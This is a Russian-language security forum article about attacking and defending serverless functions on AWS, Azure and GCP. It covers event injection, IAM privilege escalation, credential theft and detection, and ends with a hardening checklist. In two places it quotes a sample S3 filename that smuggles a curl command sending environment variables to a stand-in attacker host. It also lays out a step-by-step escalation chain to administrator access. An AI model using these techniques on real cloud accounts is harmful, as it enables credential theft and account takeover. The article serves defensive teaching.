Экран старого CRT-монитора с зелёным фосфорным свечением отображает команды AWS CLI и строки об инъекции событий SQS. Горизонтальные полосы развёртки и блум символов подчёркивают атмосферу ретро-те...


На cloud-пентесте для финтех-компании в начале 2025 года я получил доступ к AWS-аккаунту через утёкший access key из публичного GitHub-репозитория. Понедельник, 9:15 утра. Первый же вызов aws lambda list-functions показал 47 Lambda-функций, 12 из которых имели execution role с Action: "*" на S3 и DynamoDB. К 10:40 я выстроил цепочку от event injection в SQS-триггер до чтения production-таблицы с платёжными данными. SOC заказчика не увидел ничего - CloudTrail был включён, но ни одного алерта на serverless-специфичные TTPs не существовало. Потенциальная утечка 200 тысяч записей, штраф по 152-ФЗ до 500 тысяч рублей за инцидент, плюс репутационные потери, которые никто не считает заранее. Это разбор конкретных атак на serverless-функции и, главное, того, что мониторить в SIEM, чтобы подобные цепочки не проходили насквозь.
Записано со слов нашего коллеги. При написании статьи использованы материалы из зарубежных источников.

Место serverless-атак в kill chain​

Serverless Execution (T1648, тактика Execution) в MITRE ATT&CK описывает злоупотребление бессерверными вычислениями для выполнения произвольного кода в облаке. Но T1648 - лишь одна точка. Реальная serverless-атака разворачивается в несколько стадий, и каждая по-своему неприятна для detection.

Initial Access - компрометация учётных данных: access keys в репозитории, утечка через CI/CD, фишинг IAM-пользователя. Или прямая эксплуатация публичного API Gateway без авторизатора - такое встречается чаще, чем хотелось бы.

Execution (T1648) - запуск вредоносного кода: создание новой функции, модификация существующей через UpdateFunctionCode, или инъекция payload через event-триггер в легитимную функцию.

Persistence - установка триггера (CloudWatch Events / EventBridge rule), который вызывает вредоносную функцию при создании IAM-пользователя или загрузке файла. По данным ISACA, атакующие используют Lambda-функции как эфемерные C2-серверы: функция получает команды, передаёт их на скомпрометированные хосты и завершается. Следов в файловой системе нет, потому что файловой системы нет.

Credential Access - извлечение временных IAM-токенов из runtime-окружения или чтение захардкоженных секретов из переменных среды.

Lateral Movement - украденные credentials идут в ход для доступа к S3, DynamoDB, SQS, Secrets Manager и другим сервисам в рамках permissions скомпрометированной execution role.

По отчёту Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. Serverless security market, по данным Data Bridge Market Research (цитируется Qualys), достиг 12,08 млрд USD в 2024 году и прогнозируется на уровне 62,42 млрд к 2032. Деньги вкладываются, но зрелость detection отстаёт на годы.

Ключевая проблема для forensics: функция живёт миллисекунды, контейнер уничтожается после исполнения. Без потокового логирования доказательства испаряются вместе с инстансом. Это как расследовать ограбление, где преступник растворяется в воздухе вместе с комнатой.

Event injection: отравление триггеров serverless-функций​

Serverless-функции event-driven по определению. Они активируются событиями из десятков источников: HTTP-запросы через API Gateway, загрузка файлов в S3, сообщения SQS/SNS, изменения DynamoDB Streams, события EventBridge. Каждый триггер - инъекционная точка, и это прямо соотносится с A03:2021 Injection из OWASP Top 10.

Инъекции через S3 и очереди сообщений​

Классический вектор на внутреннем пентесте: Lambda обрабатывает файлы из S3-бакета и использует имя объекта без санитизации - передаёт его в shell-команду. Атакующий с правами s3:PutObject загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv. Функция подставляет имя в os.system() - переменные окружения с IAM-токенами уходят наружу за одно исполнение. Одно. Миллисекунды.

Применимость: внутренний пентест (нужен доступ на запись в бакет) или внешний - если бакет открыт через misconfigured bucket policy. Работает на функциях с shell-вызовами, не работает если код использует только AWS SDK (boto3) для обработки объектов. На практике разработчики любят дёргать os.system() для «быстрой» конвертации файлов через ImageMagick или ffmpeg - и вот тут-то оно и стреляет.

SQS-очередь с Lambda-подписчиком - аналогичная точка. Атакующий с permission sqs:SendMessage отправляет сообщение с payload, который эксплуатирует десериализацию, SQL-инъекцию в downstream-базу или command injection через JSON-поле. API Gateway без request validation пропускает произвольные данные прямо в event-объект Lambda.

По OWASP API Security Top 10, Broken Object Level Authorization (API1:2023) и Unrestricted Resource Consumption (API4:2023) напрямую применимы к serverless-API: недостаточная авторизация и отсутствие лимитов на ресурсы дают атакующему контроль над входными данными функции.

Ограничения event injection​

Event injection не сработает в следующих условиях:
  • Lambda использует строгую JSON-схему через API Gateway request validation
  • Перед функцией стоит WAF с правилами на injection-паттерны (но возможны обходы через нестандартные Content-Type)
  • Функция обрабатывает только типизированные события без пользовательского ввода (DynamoDB Streams, Kinesis)
  • Реализован Lambda authorizer с проверкой JWT/OAuth-токенов
  • Код не выполняет shell-команды и не строит запросы конкатенацией
Тут есть архитектурный gap, который мало кто осознаёт: даже при наличии WAF event injection через SQS/SNS остаётся возможным, потому что WAF защищает HTTP-уровень (API Gateway), но не внутренние очереди сообщений. WAF видит входную дверь, а payload лезет через окно. Закрывается это только валидацией внутри самой функции.

Privilege escalation через IAM-роли serverless-функций​

Цепочка iam:PassRole и UpdateFunctionCode

Самый жирный вектор serverless privilege escalation - комбинация двух IAM permissions: iam:PassRole и lambda:UpdateFunctionCode. Цепочка выглядит так:
  1. Атакующий контролирует IAM-principal с этими двумя permissions (часто - скомпрометированный devops-аккаунт или insider с легитимным доступом к CI/CD)
  2. В аккаунте есть Lambda-функция с административной execution role (типично для dev/staging-окружений, забытых после миграции - я такие нахожу почти на каждом проекте)
  3. Атакующий обновляет код функции через aws lambda update-function-code, заменяя handler на payload, который через boto3 создаёт нового IAM-пользователя с AdministratorAccess
  4. Один вызов функции - и атакующий получает persistent административный доступ к аккаунту
Эта техника реализована в Pacu - open-source фреймворке для пентеста AWS (GitHub: RhinoSecurityLabs/pacu, модуль lambda__backdoor_new_roles). В Azure аналогичный вектор: Microsoft.Web/sites/config/write + назначение Managed Identity с Contributor role. В GCP - cloudfunctions.functions.update + замена service account на более привилегированный.

Контекст применения: внутренний пентест, grey box (есть учётные данные с ограниченными правами). На внешнем пентесте для этого вектора нужен initial access к IAM-principal, что добавляет шаг в kill chain. Но если initial access есть - дальше всё раскручивается за минуты.

Кража credentials из runtime-окружения​

Все три платформы инжектируют временные credentials в runtime:

ПлатформаМеханизмПеременные / Endpoint
AWS LambdaEnv vars + IMDSAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Azure FunctionsManaged IdentityIDENTITY_ENDPOINT, IDENTITY_HEADER → OAuth 2.0 token
GCP Cloud FunctionsMetadata Serverhttp://metadata.google.internal/ → OAuth 2.0 token

По исследованию Permiso, DevOps-инженеры регулярно хранят в переменных окружения Lambda-функций API-ключи, пароли баз данных и сервисные токены в открытом виде. Инструмент CloudFox (команда cloudfox aws lambda-env) автоматически сканирует все функции в аккаунте и вытягивает значения env vars. На моих пентестах в 6 из 10 облачных аккаунтов Lambda-функции содержат хотя бы один plaintext-секрет. Это lateral movement без дополнительной эксплуатации - просто прочитал переменные и пошёл дальше.

По OWASP Secrets Management Cheat Sheet, переменные окружения не рекомендуются для хранения секретов из-за глобальной доступности, попадания в логи и системные дампы. Альтернатива - AWS Secrets Manager, Azure Key Vault, Google Secret Manager с динамическим получением в runtime. По документам все знают, что так правильно. На практике - кладут пароль в env var «чтобы быстрее».

Detection: корреляционные правила для атак на serverless​

Для SOC-команды serverless-атаки - головная боль особого рода: эфемерность + ограниченная видимость в стандартных дашбордах. CloudWatch и Azure Monitor показывают метрики вызовов, но не анализируют payload. Ниже - конкретные CloudTrail-события и правила корреляции, которые стоит внедрить первыми.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Без этих дополнительных слоёв SOC видит факт вызова функции, но не содержимое атаки. Видишь конверт, но не письмо. А в письме - ; curl attacker.com.

Чеклист hardening serverless-функций​

Готовый перечень для передачи cloud-инженерам или включения в отчёт по аудиту:
  1. Execution role - каждая функция получает отдельную IAM-роль с минимальными permissions. Wildcard * в Action или Resource запрещён. Проверять через IAM Access Analyzer
  2. iam:PassRole - ограничить condition iam:PassedToService: lambda.amazonaws.com и явным списком допустимых role ARN
  3. Секреты - никаких plaintext-значений в env vars. Использовать Secrets Manager (AWS) / Key Vault (Azure) / Secret Manager (GCP). Включить KMS-шифрование для переменных окружения
  4. API Gateway - включить request validation, настроить Lambda authorizer или Cognito. Поставить WAF с managed rule group для injection
  5. Очереди и топики - убрать Principal: "*" из resource-based policy SQS/SNS. Реализовать валидацию schema сообщений внутри функции
  6. Timeout - установить минимально необходимый (для большинства задач 10-15 секунд, максимум 60). Это ограничивает Denial of Wallet
  7. Concurrency - установить reserved concurrency для каждой функции. Без лимита одна функция исчерпывает весь account-level concurrency (по умолчанию 1000 в AWS)
  8. VPC - функции, работающие с RDS/ElastiCache, размещать в VPC без NAT Gateway если не нужен исходящий интернет. Блокирует data exfiltration
  9. Мониторинг - включить CloudTrail data events для Lambda. Настроить правила из раздела Detection. Retention CloudWatch Logs - минимум 90 дней
  10. Dependencies - интегрировать Snyk или Dependabot в CI/CD. Собирать deployment package из lock-файлов, не из floating versions. Отслеживать SHA256 hash каждого Lambda Layer
Для Azure Functions и Google Cloud Functions чеклист адаптируется: Managed Identity вместо IAM roles, Azure Policy / GCP Organization Policies вместо SCP, но архитектурные принципы идентичны.

Serverless-атаки - область, где атакующие на два-три шага впереди большинства SOC-команд. Проблема не в отсутствии инструментов: CloudTrail всё логирует, IAM Access Analyzer показывает избыточные права, ScoutSuite аудирует конфигурации. Проблема в том, что serverless-специфичные detection-правила не входят в стандартные наборы, поставляемые с SIEM. Я видел десятки SOC-ов с сотнями правил для EC2 и ни одним - для Lambda. Когда атакующий через UpdateFunctionCode внедряет payload в production-функцию, единственное, что его выдаёт - CloudTrail event, который никто не парсит.

Большинство команд закрывают cloud detection галочкой «CloudTrail включён» и считают задачу решённой. Включили камеру в серверной, а монитор забыли: данные есть, detection нет.

По моему прогнозу, в ближайшие полтора года serverless станет основным вектором persistence в cloud-средах - функции дешёвые, эфемерные и невидимые для стандартных мониторингов. Команды, которые первыми закроют gap в detection coverage, получат реальное преимущество. Остальные будут разбирать postmortem, где credential theft произошёл за 200 миллисекунд, а обнаружен через три недели. На codeby.net идёт тред по cloud-специфичным detection-правилам - там разбирают корреляции именно под serverless TTPs для CloudTrail и Azure Activity Log.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab